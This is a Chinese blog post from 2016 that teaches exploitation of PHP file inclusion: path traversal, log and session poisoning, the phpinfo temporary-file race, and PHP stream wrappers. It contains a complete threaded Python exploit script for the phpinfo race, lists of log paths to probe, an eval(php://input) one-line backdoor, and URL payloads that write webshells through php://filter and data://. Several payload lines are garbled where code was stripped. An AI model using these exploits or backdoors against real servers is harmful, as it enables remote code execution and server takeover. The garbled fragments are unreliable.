FILE_INCLUDE

基本常识

如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。
常见包含函数有:include()、require()
区别:

  • include是当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,然后继续往下执行
  • require是只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行

require一般是用于文件头包含类文件、数据库等等文件,include一般是用于包含html模版文件
include_once()、require_once()与(include\require)的功能相同,只是区别于当重复调用的时候,它只会调用一次。

<?php
include($_GET['file']);    
?>

LFI

  1. 包含目录文件?f=test.txt

    如果里面的内容是php,则内容会被当成php执行,不是php则会读取到文件内容(用来读取/etc/passw等等配置文件的敏感信息)
  2. ?f=./../../test.txt

    ./当前目录,../上一级目录,这样的遍历目录来读取文件
  3. 包含日志文件

    无法上传文件的时候,可以尝试利用UA插入payload到日志文件,然后包含容器的日志文件(错误、访问文件都行),注意:选择凌晨包含最好,payload后面加一个exit()退出程序,以防大日志导致浏览器卡死,如果包含不成功,也许是open_basedir限制了目录


常见路径:

../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
./../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log/var/log/httpd/access_log      
/var/log/httpd/error_log    
../apache/logs/error.log    
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log/etc/httpd/logs/error.log
/var/www/logs/access_log/var/www/logs/access.log
/usr/local/apache/logs/access_log/usr/local/apache/logs/access.log
/var/log/apache/access_log/var/log/apache/access.log
/var/log/access_log/var/www/logs/error_log/var/www/logs/error.log
/usr/local/apache/logs/error_log/usr/local/apache/logs/error.log
/var/log/apache/error_log/var/log/apache/error.log
/var/log/access_log/var/log/error_log 

fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入

");fclose($fp);?>

我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。转换为
这样就错误日志里就记录下了这行写入webshell的代码。我们再来包含日志,提交/home ... /logs/www-error_log 这样webshell就写入成功了,config.php里就写入一句话


4. 包含系统环境
linux(FreeBSD是没有这个的)下的/proc/self/environ
要求是php运行早cgi上面(具体没测试)...然后和包含日志一样,在User-agent修改成payload.
Exploiting LFI to RCE /proc/self/environ with burpsuite:
https://www.youtube.com/watch?v=dlh0ogYy9ys
5. 包含session文件
session文件一般在/tmp目录下,格式为sess_[phpsessid],
session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值, 也许你能够获得一个shell

利用phpinfo包含


一、以上传文件的方式请求任意PHP文件,服务器都会创建临时文件来保存文件内容
在HTTP协议中为了方便进行文件传输,规定了一种基于表单的HTML文件传输方法。
Filename:
其中PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:
‍1、请求到达;
‍2、创建临时文件,并写入上传文件的内容;
‍3、调用相应PHP脚本进行处理,如校验名称、大小等;
‍4、删除临时文件。
PHP引擎会首先将文件内容保存到临时文件,然后进行相应的操作。
我们可以对phpinfo.php发起请求,查看服务端变化。由于处理时间极短,我们肉眼无法看到文件夹下临时文件的创建删除过程,可以选择sleep操作延长phpinfo脚本的时间,在慢镜头下,我们看到了生成的临时文件。其中临时文件内容正是我们POST请求中文件内容,临时文件的名称是php+随机数字.tmp,正中本地文件包含痛点。

通过刚才的实验,我们发现临时文件的生命周期很短,脚本执行完成后边删除临时文件。我们要做的就是在删除之前包含文件。下面继续。

二、PHPInfo可以输出$_FILES信息,包括临时文件路径、名称

在PHP中,有超全局变量$_FILES,保存上传文件的信息,包括文件名、类型、临时文件名、错误代号、大小。

Phpinfo()是一个无比强大的函数,可以输出大量的关于服务器的配置信息,其中包括超全局变量的值。

三、分块传输编码

通常,HTTP中的响应消息都是整个发送的,在发送之前知道Content-Lenth值,作为响应头的一部分发送给客户端。

分块传输编码,可以在不知道Content-Lenth情况下,进行分块传输,并把Content-Lenth置为chunked。PHP默认情况,当传输数据大于4KB时,采用分块传输编码。将数据分为一块或多块传输。传输格式是:

每一个非空的块都以该块包含数据的字节数(字节数以十六进制表示)开始,跟随一个CRLF (回车及换行),然后是数据本身,最后块CRLF结束。在一些实现中,块大小和CRLF之间填充有白空格(0x20)。
最后一块是单行,由块大小(0),一些可选的填充白空格,以及CRLF。

四、争取时间,在临时文件删除之前执行包含操作
利用PHPInfo进行本地文件包含的主要思想是在临时文件删除前执行操作。
我们需要争取时间,时间差大致来自三个方面:

1、通过分块传输编码,提前获知临时文件名称;
分块传输可以实现在未完全传输完成时即可获知临时文件名,可以尽早发起文件包含请求,赶在删除之前执行代码。

2、通过增加临时文件名后数据长度来延长时间;
通过观察PHPinfo的信息,在$_FILES信息下面,还有请求头的相关信息,我们可以在请求的时候,通过填充大量无用数据,来增加后面数据的长度,从而增加脚本的处理时间,为包含文件争取更多的时间。

Python代码:

# coding:utf-8
import sys
import socket
import threading


def setup(host, port):
    """
    初始化HTTP请求数据包
    TAG:校验包含是否成功标志
    PAYLOAD:包含要执行的PHP代码
    padding:增加数据块内容
    LFIREQ:文件包含请求
    REQ_DATA:POST请求数据
    REQ:完整POST请求
    """
    TAG = "Security Test"
    PAYLOAD = """%s
")
?>\r""" % TAG
    padding = "A" * 2000
    LFIREQ = """GET /lfi.php?load=%(file)s HTTP/1.1\r
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36\r
Connection: keep-alive\r
Host: %(host)s\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r
Upgrade-Insecure-Requests: 1\n
Accept-Encoding: gzip, deflate, sdch\n
\n"""
    REQ_DATA = """------WebKitFormBoundaryIYu6Un7AVVkBR0k6\r
Content-Disposition: form-data; name="file"; filename="shell.php"\r
Content-Type: application/octet-stream\r
\r
%s
------WebKitFormBoundaryIYu6Un7AVVkBR0k6\r
Content-Disposition: form-data; name="submit"\r
\r
Submit
------WebKitFormBoundaryIYu6Un7AVVkBR0k6--\r""" % PAYLOAD
    REQ = """POST /phpinfo.php HTTP/1.1\r
User-Agent: """ + padding + """\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r
Accept-Language: """ + padding + """\r
Accept-Encoding: gzip, deflate\r
Cache-Control: max-age=0\r
Referer: """ + padding + """\r
Connection: keep-alive\r
Upgrade-Insecure-Requests: 1\r
Host: %(host)s\r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIYu6Un7AVVkBR0k6\r
Content-Length: %(len)s\r
\r
%(data)s""" % {'host': host, 'len': len(REQ_DATA), 'data': REQ_DATA}
    return (REQ, TAG, LFIREQ)


def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    """
    :param host: 目标主机IP
    :param port: 端口
    :param phpinforeq: 对phpinfo文件的请求
    :param offset: 临时文件名位置
    :param lfireq:文件包含请求
    :param tag: 检测包含成功标志
    :return: 返回完整临时文件名
    """
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =>")
        fn = d[i + 17:i + 40]
    except ValueError:
        return None
    s2.send(lfireq % {'file': fn, 'host': host})
    d = s2.recv(4096)
    s.close()
    s2.close()
    if d.find(tag) != -1:
        return fn


counter = 0


class ThreadWorker(threading.Thread):
    """
    线程操作
    maxattempts:最大尝试次数
    """

    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter += 1
            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "\nGot it! Shell create in H:/wamp/tmp/g.php"
                    self.event.set()
            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """
    :param host: 目标主机IP
    :param port: 端口
    :param phpinforeq: 对phpinfo文件的POST请求
    :return:返回临时文件名在返回数据块中的位置
    """
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(phpinforeq)
    d = ""
    while True:
        i = s.recv(4096)
        d += i
        if i == "":
            break
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =>")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
    print "found %s at %i" % (d[i:i + 10], i)
    return i + 256


def main():
    print "LFI with PHPinfo()"
    if len(sys.argv) < 2:
        print "Usage:%s host [port] [poolsz]" % sys.argv[0]
        sys.exit(1)
    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)
    port = 80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)
    poolsz = 10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)
    print "Getting initial offset..."
    phpinforeq, tag, lfireq = setup(host, port)
    offset = getOffset(host, port, phpinforeq)
    sys.stdout.flush()
    maxattempts = 200
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0, poolsz):
        tp.append(ThreadWorker(e, l, maxattempts, host, port, phpinforeq, offset, lfireq, tag))
    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write("\r % 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        if e.is_set():
            print "Woot! \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()

    for t in tp:
        t.join()


if __name__ == "__main__":
    main()

php伪协议包含

0x01 php://

  • php://input

      php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替
      $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 
      $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 
      enctype="multipart/form-data" 的时候 php://input 是无效的。
    

    从php手册里面我们可以知道,php://input是用来接收post数据的,于是一句话便可以这样写

      <?php @eval(file_get_contents('php://input'));?>
    

    之前的dedecms就被植入了这个一句话后门

    当 allow_url_include=On 的时候 php://input 还可以向下面这样玩

      <?php include "php://input";?>
      http://127.0.0.1/php/2.php post:<?php phpinfo();?>
    

    可以看见,post过去的php代码已经被执行

      <?php include $_GET['file'];?>
    

    上面的这个php代码是存在任意文件包含漏洞的,我们可以向上面demo那样构造语句,执行命令或者直接写个webshell

      http://127.0.0.1/php/2.php?file=php://input post:<?php system("whoami");?>
    

  • php://filter

      php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文
      件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会
      应用其他过滤器。
    

    php://filter 是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流

    一些常见的过滤器

    • convert.base64-encode
    • convert.base64-decode
    • string.rot13
    • string.toupper
    • string.tolower
    • string.strip_tags

    在任意文件包含中,我们常用php://filter/read=convert.base64-encode/resource=xxx.php来读取源码

    php://filter 的其他利用场景

      <?php
      	$str = '<?php exit(\'74\');?>'.$_GET['c'];
      	$fname = $_GET['f'];
      	file_put_contents($fname,$str);
      ?>
    

    上面代码中 $str 加上了exit()函数,因此后面的任意语句都不会输出,如果我们能吃掉前面的代码,那么就能直接写个webshell

    第一种利用:

      http://127.0.0.1/php/3.php?f=php://filter/write=convert.base64-decode/resource=shell.php&c=dddPD9waHAgcGhwaW5mbygpOyA/Pg==
    

    这里利用转换过滤器将shell.php的内容进行base64解码,吃掉了前面的。要注意的是base64的解码原理

    第二种利用:

      http://127.0.0.1/php/3.php?f=php://filter/write=string.rot13/resource=shell.php&c=<?cuc cucvasb();?>
    

    这里利用字符串过滤器将shell.php的内容进行rot13加密,使变成这样不被解析的代码。这里要注意的是没有开启short_open_tag

    第三种利用:

      http://127.0.0.1/php/3.php?f=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php&c=PD9waHAgcGhwaW5mbygpOyA/Pg==
    

    这里利用字符串过滤器strip_tags(等同于strip_tags()函数)将php标记过滤掉了,然后再对内容进行base64解密,这样就避免了我们写入的代码也被过滤了

0x02 data://

当 allow_url_include=On 的时候,在任意文件包含中可以利用 data:// 直接拿到webshell

http://127.0.0.1/php/2.php?file=data://text/plain,<?php phpinfo();?>
http://127.0.0.1/php/2.php?file=data://,<?php phpinfo();?>
http://127.0.0.1/php/2.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
http://127.0.0.1/php/2.php?file=data://;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

data:// 在其他地方的利用

<?php
	file_put_contents($_GET['path'], file_get_contents($_GET['file']));
?>

与上面的利用一样

http://127.0.0.1/php/4.php?path=test.php&file=data://text/plain;charset=utf-8,<?php phpinfo();?>

zip://

首先我们新建一个zip文件,里面压缩着一个php脚本。

然后我们构造zip://clay.zip#clay.php

http://127.0.0.1/file.php?file=zip://clay.zip%23clay.php

我们只需要把一个1.php压缩为1.zip然后把zip改个名字就好了

这样就成功shell了。

phar://

首先我们要用phar类打包一个phar标准包

<?php
$p = new PharData(dirname(__FILE__).'/clay.jpg', 0,'phartest',Phar::ZIP) ; 
$p->addFromString('testfile.txt', '<?php phpinfo();?>'); 
?>

创建phar的时候要注意php.ini的参数,phar.readonly设置为off(本地测试的两个默认都是off)
然后通过包含协议访问:
http://192.168.227.128/other/lfi/ex1.php?f=phar://./phar/clay.jpg/testfile.txt

其中phar适用范围为php>5.3.0

以上的这种包含方式在这样的情况下是无效的。
include(一个规定的路径+可控点+后缀)

posted @ 2016-11-24 22:06  C1AY  阅读(283)  评论(0)    收藏  举报